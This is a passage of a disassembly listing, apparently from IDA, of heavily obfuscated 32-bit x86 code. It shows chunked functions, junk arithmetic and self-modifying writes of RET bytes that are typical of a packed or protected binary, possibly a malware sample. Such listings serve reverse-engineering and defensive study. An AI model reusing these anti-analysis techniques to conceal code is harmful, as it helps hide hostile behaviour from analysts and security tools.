[esp+0] jmp loc_7575DE ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74B0CE: ; CODE XREF: sub_747AEC+63DFj call sub_7558D0 loc_74B0D3: ; CODE XREF: sub_747A94:loc_753558j add edx, 9404CC69h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_746194 jmp loc_751E78 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- and edx, 0C984B0FAh jmp sub_748B97 ; --------------------------------------------------------------------------- cmp eax, [ebp-0Ch] jnz loc_749C84 jmp loc_75759D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_74B103: ; CODE XREF: sub_753FCE:loc_750785j jz loc_7472FB jmp loc_746E56 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_74B10E: ; CODE XREF: sub_7475CB+7ECBj xor esi, 3419CB6Dh rol esi, 1Ah xor esi, 393052DCh call sub_747003 loc_74B122: ; CODE XREF: sub_74AE67+A646j jmp loc_7490E9 ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752A54 loc_74B127: ; CODE XREF: sub_752A54+Cj jmp loc_7453A2 ; END OF FUNCTION CHUNK FOR sub_752A54 ; --------------------------------------------------------------------------- loc_74B12C: ; CODE XREF: _0z4jwtox:0074830Bj jmp loc_749BDD ; --------------------------------------------------------------------------- loc_74B131: ; DATA XREF: sub_74D23E+9631o mov eax, [eax+20h] push offset sub_74DF5E jmp loc_74D627 ; --------------------------------------------------------------------------- push ecx mov ecx, edx xchg ecx, [esp] push 0F7A3D72Ch pop edx sub edx, 1F473191h rol edx, 8 and edx, 96C997Dh jmp loc_746B55 ; --------------------------------------------------------------------------- ja loc_74BD84 jmp sub_7531B7 ; --------------------------------------------------------------------------- loc_74B169: ; CODE XREF: _0z4jwtox:loc_754F12j test esi, 40000000h jmp loc_747BFB ; --------------------------------------------------------------------------- or eax, 5332E66Fh jmp sub_750F2E ; --------------------------------------------------------------------------- shl ebp, 19h jmp sub_748498 ; --------------------------------------------------------------------------- push 48D9014Ch pop eax sub eax, 3F6CDF11h or eax, 260A52B6h jmp loc_752ED3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755892 loc_74B19F: ; CODE XREF: sub_755892+7j mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_74B1B5 add dword ptr [ebp-8], 4 jmp loc_753F00 ; --------------------------------------------------------------------------- loc_74B1B5: ; CODE XREF: sub_755892-A6ECj push offset loc_74A43C jmp loc_74E14C ; END OF FUNCTION CHUNK FOR sub_755892 ; --------------------------------------------------------------------------- loc_74B1BF: ; CODE XREF: _0z4jwtox:loc_74E151j test ebx, 200000h jmp loc_74D83E ; --------------------------------------------------------------------------- loc_74B1CA: ; DATA XREF: _0z4jwtox:00745382o sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_7490B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_74B1D5: ; CODE XREF: sub_74A71A:loc_75231Dj cmp dword ptr [ebp-1Ch], 66h jnz loc_75652B mov eax, 6 sub eax, [ebp-0Ch] mov [ebp-0Ch], eax jmp loc_746AF3 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_74B1EF: ; CODE XREF: sub_7514AC:loc_74E3A2j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_7514AC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_74B1F1 proc near ; CODE XREF: sub_750291-7155p ; _0z4jwtox:loc_74B709j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074608D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00746B10 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074705B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00748A52 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007496D6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074993B SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074DA48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750BE7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075254A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007525B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753E77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754269 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754613 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757529 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_754613 sub_74B1F1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74B1F9 proc near ; CODE XREF: _0z4jwtox:007480C1p ; _0z4jwtox:00753A3Bj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00751615 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753FB5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007573EB SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov eax, [esp-4+arg_0] push ebx push edx jmp loc_751615 sub_74B1F9 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_296. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74B208: ; CODE XREF: _0z4jwtox:0074AE36j jmp locret_746968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74B20D: ; CODE XREF: sub_747AEC-1F65j jo loc_75767D loc_74B213: ; CODE XREF: _0z4jwtox:007546C1j test ebx, 98FE33A9h loc_74B219: ; CODE XREF: _0z4jwtox:loc_75329Dj jmp loc_74618E ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_74B21E proc near ; CODE XREF: _0z4jwtox:00749A03p ; _0z4jwtox:00749F83j ; FUNCTION CHUNK AT 00749CDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D24A SIZE 00000014 BYTES xchg eax, [esp+0] pop eax xor eax, 22F93B52h call sub_746E93 jmp loc_749CDB sub_74B21E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74B232: ; DATA XREF: sub_7451D9+4C45o cmp ds:dword_75161C, 0 jnz loc_74E190 call nullsub_5 call sub_754FC6 loc_74B249: ; CODE XREF: _0z4jwtox:0074A9CCj mov edx, 0CF0182F6h jmp loc_74B423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74B253: ; CODE XREF: sub_74D1F3-13C7j cdq jmp loc_7554A3 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_74B259: ; CODE XREF: sub_749306+3DFAj sub al, 99h push 52FEA7C0h pop edx jmp loc_74E267 ; END OF FUNCTION CHUNK FOR sub_749306 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74B266: ; CODE XREF: sub_74FE55-3763j push edi pushf push 0A2CD6F92h pop edi or edi, 3F50B494h jmp loc_74A9D8 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; =============== S U B R O U T I N E ======================================= sub_74B279 proc near ; DATA XREF: sub_74A63F+9E6Co lea eax, nullsub_1 mov byte ptr [eax], 0C3h jmp nullsub_1 sub_74B279 endp ; --------------------------------------------------------------------------- push edi mov edi, ebx jmp loc_74EC95 ; --------------------------------------------------------------------------- db 49h byte_74B290 db 1 ; DATA XREF: sub_74FC30+6r ; sub_752E17+Bw align 2 dw 0A983h dd 0D8323AE6h, 6C8C2EC6h, 7C830063h ; DATA XREF: sub_74FC30+16o dword_74B2A0 dd 7C900000h ; sub_752E17+6w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74B2A4: ; CODE XREF: sub_747C39:loc_74E8CBj ; sub_746C5E+109C5j jmp loc_749449 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- db 58h, 0B8h, 1 dword_74B2AC dd 0 ; _0z4jwtox:0074819Ew ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_74B2B0: ; CODE XREF: sub_749010:loc_749015j jnz loc_74EC46 jmp loc_74BE13 ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474F5 loc_74B2BB: ; CODE XREF: sub_7474F5:loc_756591j mov eax, [ebp-14h] mov eax, [eax+18h] dec eax test eax, eax jl loc_754EB3 inc eax mov [ebp-1Ch], eax mov dword ptr [ebp-18h], 0 jmp loc_749FC6 ; END OF FUNCTION CHUNK FOR sub_7474F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756496 loc_74B2DA: ; CODE XREF: sub_756496:loc_74F76Bj ; sub_756496-2972j mov eax, 1F56AC7Bh call sub_746E93 rol eax, 17h push offset loc_747F52 jmp nullsub_192 ; END OF FUNCTION CHUNK FOR sub_756496 ; --------------------------------------------------------------------------- mov ds:off_41F00C, eax lea eax, sub_754C68 loc_74B2FD: ; CODE XREF: _0z4jwtox:0075436Dj mov byte ptr [eax], 0C3h jmp loc_74B6D2 ; =============== S U B R O U T I N E ======================================= sub_74B305 proc near ; CODE XREF: sub_41D663+F9p ; _0z4jwtox:00753721j ; DATA XREF: ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074C0FC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007523CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753727 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007567D5 SIZE 0000000A BYTES push edi push 79CC7627h pop edi and edi, 2BACACE7h sub edi, 39ECB868h jmp loc_74C0FC sub_74B305 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752E0F loc_74B31D: ; CODE XREF: sub_752E0F-6CE7j mov edx, [ebp+var_8] mov eax, [ebp+var_4] push offset loc_74E01B jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_752E0F ; --------------------------------------------------------------------------- push eax ; START OF FUNCTION CHUNK FOR sub_74952C loc_74B32E: ; CODE XREF: sub_74952C-B3Cj mov eax, ebx push offset loc_74C1FB jmp nullsub_47 ; END OF FUNCTION CHUNK FOR sub_74952C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74B33A: ; CODE XREF: sub_7561AB-42D5j xor esi, 0E674DAh sub esi, 0FC01AD7Dh call sub_745F37 loc_74B34B: ; DATA XREF: sub_74BD6F:loc_753FC4o push 3A3E0E1h pop eax rol eax, 12h cmp eax, 0D3C90332h jmp loc_746A2E ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- loc_74B35F: ; CODE XREF: _0z4jwtox:0074E574j pop esi add esi, 35F620C9h sub esi, 0C3B05506h add esi, 0AC5B77F0h xchg esi, [esp] jmp loc_75235A ; --------------------------------------------------------------------------- jge loc_746685 jmp sub_74A094 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_74B385: ; CODE XREF: sub_757151-8E09j pop edx xor edx, 0D58C5409h sub edx, 0EE9B8A34h add edx, 7603A28Eh rol edx, 12h add edx, 0E9CDBBBCh jmp loc_74A3D7 ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_74B3A6: ; CODE XREF: sub_74F615-69C4j rol ecx, 15h mov ebp, esi sbb edi, eax jmp loc_754D11 ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- loc_74B3B2: ; CODE XREF: _0z4jwtox:0074D81Ej jz loc_746450 ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74B3B8: ; CODE XREF: sub_7501AF-6109j jmp loc_754D34 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- adc edi, edx add eax, ebx jmp loc_74644E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_279. PRESS KEYPAD "+" TO EXPAND] db 83h ; --------------------------------------------------------------------------- fnstcw word ptr [edi+edi*8+48B5AFFh] and al, 53h jmp loc_74F465 ; --------------------------------------------------------------------------- call nullsub_11 jmp ds:dword_41F190 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cmp al, 24h mov edx, edi jmp loc_7486AC ; =============== S U B R O U T I N E ======================================= sub_74B3EB proc near ; CODE XREF: _0z4jwtox:0074580Fj ; sub_74D23E+9232p ; FUNCTION CHUNK AT 0074AA54 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00750C57 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax call sub_746E93 push ecx mov ecx, ebx jmp loc_750C57 sub_74B3EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_74B3FC: ; CODE XREF: sub_74AE46:loc_74FAC9j cmp ecx, 272E7BB6h jmp loc_755BD4 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74B407: ; CODE XREF: sub_755C38:loc_74F01Aj or edx, 815ACE24h xor edx, 0CDAA8E12h jns loc_74DBFC loc_74B419: ; CODE XREF: _0z4jwtox:0074DFDCj jmp nullsub_224 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- loc_74B41E: ; CODE XREF: _0z4jwtox:0074D9E8j jmp loc_753FE5 ; --------------------------------------------------------------------------- loc_74B423: ; CODE XREF: _0z4jwtox:0074B24Ej jmp loc_755B4C ; --------------------------------------------------------------------------- not esi sbb edi, 11EBBD79h jmp loc_74DBFC ; --------------------------------------------------------------------------- mov ds:off_41F068, eax push offset loc_749B2A jmp locret_755E94 ; --------------------------------------------------------------------------- add edi, 0CDFA23C1h jmp sub_749F88 ; --------------------------------------------------------------------------- sub ebx, esi jmp sub_7556D8 ; --------------------------------------------------------------------------- loc_74B457: ; DATA XREF: sub_746556:loc_7456E3o xor eax, 0DB893C7Eh ror eax, 1Ah mov edx, [esp] push eax mov eax, edx jmp loc_74C2C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74B46B: ; CODE XREF: sub_74CBCF:loc_74A3E0j ; sub_74CBCF+15E8j mov eax, 80F02D07h call sub_746E93 push esi push 2CC686F6h pop esi jmp loc_754BFF ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74742A loc_74B481: ; CODE XREF: sub_74742A:loc_7514DFj jz loc_755BF9 jmp loc_75106E ; END OF FUNCTION CHUNK FOR sub_74742A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_74B48C: ; CODE XREF: sub_7473E6:loc_74EE8Ej jnz loc_747AFE jmp loc_74DB3B ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C84 loc_74B497: ; CODE XREF: sub_746C84:loc_746D08j push 7D6F46AFh pop edx rol edx, 0Ch and edx, 3D243740h xor edx, 3E7FAEA1h add eax, edx jmp loc_74D8CD ; END OF FUNCTION CHUNK FOR sub_746C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_74B4B3: ; CODE XREF: sub_749608+2FC4j ; _0z4jwtox:00754373j add esi, 45D93D6Ah test esi, 100h jmp loc_74EBBB ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_74B4C4: ; CODE XREF: sub_747C0C:loc_74E233j xchg edi, [esp+8+var_8] jmp loc_74B4DC ; END OF FUNCTION CHUNK FOR sub_747C0C ; --------------------------------------------------------------------------- jmp ds:off_41F158 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_74B4D2: ; CODE XREF: sub_74ECEF+10j jmp loc_74FD93 ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BF3A loc_74B4D7: ; CODE XREF: sub_74BF3A+13j jmp loc_746A21 ; END OF FUNCTION CHUNK FOR sub_74BF3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C0C loc_74B4DC: ; CODE XREF: sub_747C0C+38BBj ; _0z4jwtox:0074BB12j ... jns loc_74BB17 pop edx push offset loc_752438 jmp loc_757059 ; END OF FUNCTION CHUNK FOR sub_747C0C ; --------------------------------------------------------------------------- mov eax, 6960D331h push ebx push 7514AB60h pop ebx sub ebx, 0DCF39CB6h and ebx, 25DDA47Eh jmp loc_7457FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_295. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74B50B: ; CODE XREF: _0z4jwtox:00750625j jmp loc_7463F2 ; --------------------------------------------------------------------------- loc_74B510: ; DATA XREF: sub_751078+24ABo push eax ror eax, 0Ch mov dword ptr ds:loc_74F37B+1, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_74B51B: ; CODE XREF: sub_745911+23DBj jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74B520: ; CODE XREF: sub_747C39-1720j jmp loc_745EBF ; END OF FUNCTION CHUNK FOR sub_747C39 ; =============== S U B R O U T I N E ======================================= sub_74B525 proc near ; CODE XREF: sub_7490F6-1B64p ; sub_75143A-86A2p ... ; FUNCTION CHUNK AT 00745502 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A9EC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EB43 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0074F0AB SIZE 0000000A BYTES push ebp jmp loc_74A9EC sub_74B525 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74B52B: ; CODE XREF: sub_74F30D:loc_75154Aj ; _0z4jwtox:0075155Fj ... add edx, 0F1FC028Ah xor edx, 5BDB4A2Dh add edx, ebp add edx, 382395Eh jmp loc_753957 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B7B loc_74B544: ; CODE XREF: sub_748B7B:loc_7575A2j call sub_747CDA loc_74B549: ; CODE XREF: _0z4jwtox:0074D219j jmp nullsub_252 ; END OF FUNCTION CHUNK FOR sub_748B7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74894B loc_74B54E: ; CODE XREF: sub_74894B-2A4Cj jmp sub_754A3D ; END OF FUNCTION CHUNK FOR sub_74894B ; --------------------------------------------------------------------------- loc_74B553: ; CODE XREF: _0z4jwtox:00745AB0j jmp locret_7529DC ; --------------------------------------------------------------------------- loc_74B558: ; CODE XREF: _0z4jwtox:0074F2F2j jl loc_747D3A cmp ebp, 0E0E7D4BCh jmp loc_754855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_74B569: ; CODE XREF: sub_7473E6:loc_74A5F6j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_748AE2 jmp loc_74EE8E ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E685 loc_74B57A: ; CODE XREF: sub_74E685+6920j jnz loc_746574 jmp loc_7461FC ; END OF FUNCTION CHUNK FOR sub_74E685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_74B585: ; CODE XREF: sub_74B079+95AFj call sub_74FACE push 77C570D4h pop eax or eax, 265FA746h sub eax, 5E73133Ah jmp loc_74715C ; END OF FUNCTION CHUNK FOR sub_74B079 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_74B5A1: ; CODE XREF: sub_74F69D+Dj xchg eax, [esp+4+var_4] mov ebp, edx xchg ebp, [esp+4+var_4] call sub_75740D mov eax, 0FC897303h jmp loc_753A62 ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_74B5B8: ; CODE XREF: sub_74BFE0:loc_75220Dj jz loc_750C41 jmp loc_7575FA ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C84 loc_74B5C3: ; CODE XREF: sub_746C84:loc_74D8CDj push offset sub_74C3EB jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_746C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7491FD loc_74B5CD: ; CODE XREF: sub_7491FD+A643j push edx call sub_74E0EB mov eax, 0C7CC2482h call sub_746E93 mov ds:off_41F170, eax lea eax, sub_756A5B mov byte ptr [eax], 0C3h jmp sub_756A5B ; END OF FUNCTION CHUNK FOR sub_7491FD ; --------------------------------------------------------------------------- call nullsub_24 jmp loc_7531CC ; --------------------------------------------------------------------------- mov esi, [edi] jmp sub_748CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_74B602: ; CODE XREF: sub_749980:loc_756C6Fj xchg esi, [esp-4+arg_0] mov eax, edx call sub_747892 push offset loc_750DEA jmp loc_752729 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- jnz loc_752AAA jmp loc_7572CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755179 loc_74B621: ; CODE XREF: sub_755179+6j jnz loc_74B634 call sub_74ACFA or eax, eax jnz locret_746BB9 loc_74B634: ; CODE XREF: sub_755179:loc_74B621j call sub_746BB0 ; END OF FUNCTION CHUNK FOR sub_755179 ; START OF FUNCTION CHUNK FOR sub_754A3D loc_74B639: ; CODE XREF: sub_754A3D+3j jmp loc_74699F ; END OF FUNCTION CHUNK FOR sub_754A3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_74B63E: ; CODE XREF: sub_74721B+25C3j jno loc_74C099 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] jmp loc_74D985 ; END OF FUNCTION CHUNK FOR sub_74721B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_74B650: ; CODE XREF: sub_74946E+A053j sub eax, edx pop edx mov edx, [esp-4+arg_0] push eax mov eax, edx nop loc_74B65A: ; CODE XREF: sub_747C22:loc_74EEABj jmp loc_752D96 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- loc_74B65F: ; CODE XREF: _0z4jwtox:loc_746D5Fj test eax, 40000h jmp loc_754AE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_74B66A: ; CODE XREF: sub_752957-168Ej test ebx, 800000h jmp loc_754A00 ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_74B675: ; CODE XREF: sub_7475CB+4B66j cmp eax, esi jmp loc_753AFF ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- sub ebx, 59D160DEh jmp loc_752635 ; --------------------------------------------------------------------------- popf jmp loc_7461EC ; --------------------------------------------------------------------------- mov esi, ebp jmp sub_757799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746869 loc_74B694: ; CODE XREF: sub_746869:loc_74687Ej jb loc_74C69A jmp loc_74B704 ; END OF FUNCTION CHUNK FOR sub_746869 ; --------------------------------------------------------------------------- loc_74B69F: ; CODE XREF: _0z4jwtox:0074DD66j adc esi, 3A426138h jge loc_74AE4B loc_74B6AB: ; CODE XREF: _0z4jwtox:loc_7483BEj lea edx, [ebp-14h] mov eax, offset dword_74F3AC push edx jmp loc_7547B4 ; --------------------------------------------------------------------------- push offset sub_74D9D0 jmp loc_755552 ; --------------------------------------------------------------------------- loc_74B6C3: ; CODE XREF: _0z4jwtox:00745E46j ; _0z4jwtox:0074C965j xchg eax, [esp] mov edx, eax call sub_745685 loc_74B6CD: ; CODE XREF: _0z4jwtox:0074DA57j jmp locret_74CBC9 ; --------------------------------------------------------------------------- loc_74B6D2: ; CODE XREF: _0z4jwtox:0074B300j jmp sub_754C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755CFC loc_74B6D7: ; CODE XREF: sub_755CFC:loc_75334Bj mov edx, [ebp+8] mov edx, [edx-8] push offset loc_755B89 jmp loc_74F988 ; END OF FUNCTION CHUNK FOR sub_755CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74667B loc_74B6E7: ; CODE XREF: sub_74667B+13j add esi, 0C89BF1F2h mov [esi], eax pop esi call sub_750560 loc_74B6F5: ; CODE XREF: sub_74F08D+720Fj jmp sub_745715 ; END OF FUNCTION CHUNK FOR sub_74667B ; --------------------------------------------------------------------------- loc_74B6FA: ; CODE XREF: _0z4jwtox:00755E8Fj jmp loc_7484FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748CFC loc_74B6FF: ; CODE XREF: sub_748CFC+7764j jmp loc_750676 ; END OF FUNCTION CHUNK FOR sub_748CFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746869 loc_74B704: ; CODE XREF: sub_746869+4E31j jmp loc_7532EC ; END OF FUNCTION CHUNK FOR sub_746869 ; --------------------------------------------------------------------------- loc_74B709: ; CODE XREF: _0z4jwtox:0074A166j jmp sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510EA loc_74B70E: ; CODE XREF: sub_7510EA+Ej jz loc_74E6E1 jmp loc_7540F6 ; END OF FUNCTION CHUNK FOR sub_7510EA ; =============== S U B R O U T I N E ======================================= sub_74B719 proc near ; CODE XREF: _0z4jwtox:00746739j ; sub_747736+D1D6p ; FUNCTION CHUNK AT 00746209 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00747161 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007487AA SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00749B3A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074B9EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C3BE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074CC0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DE2C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00755B94 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00755D0D SIZE 00000008 BYTES xchg edx, [esp+0] pop edx call sub_7452F3 pop ecx loc_74B723: ; CODE XREF: sub_747736:loc_749B60j shl eax, 3 mov edx, [ebp+8] or [edx-8], eax jmp loc_74B9EB sub_74B719 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74B731: ; CODE XREF: sub_747736:loc_74BA67j ; sub_747736:loc_7548FBj cmp dword ptr [ebp-10h], 1 jmp loc_74C3D7 ; END OF FUNCTION CHUNK FOR sub_747736 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F77 loc_74B73B: ; CODE XREF: sub_755F77+17j jmp loc_750D19 ; END OF FUNCTION CHUNK FOR sub_755F77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74B740: ; CODE XREF: sub_747736+277Cj jp loc_7567F7 pushf jmp loc_752A35 ; END OF FUNCTION CHUNK FOR sub_747736 ; =============== S U B R O U T I N E ======================================= sub_74B74C proc near ; CODE XREF: _0z4jwtox:007484B9j ; sub_7475CB+1DEDp ; FUNCTION CHUNK AT 0074D8A5 SIZE 0000000F BYTES xchg eax, [esp+0] pop eax mov ds:dword_7575C8, eax lea eax, [ebp-14h] xor edx, edx call sub_752E0F jmp loc_74D8A5 sub_74B74C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_74B764: ; CODE XREF: sub_74F73B:loc_75040Aj and eax, 20DDD2C9h test eax, 40000000h jmp loc_74A5D9 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ror ebp, 19h jmp sub_755915 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F7B1 loc_74B77D: ; CODE XREF: sub_74F7B1:loc_748A7Dj pop eax rol eax, 0Ch xor eax, 3AD23C26h add eax, 2380B26Fh xchg eax, [esp+0] jmp sub_74A96E ; END OF FUNCTION CHUNK FOR sub_74F7B1 ; --------------------------------------------------------------------------- loc_74B795: ; CODE XREF: _0z4jwtox:loc_74A817j add ecx, ebx xor edi, ebx rol eax, 11h jmp loc_755452 ; --------------------------------------------------------------------------- loc_74B7A1: ; CODE XREF: _0z4jwtox:loc_754873j ; DATA XREF: 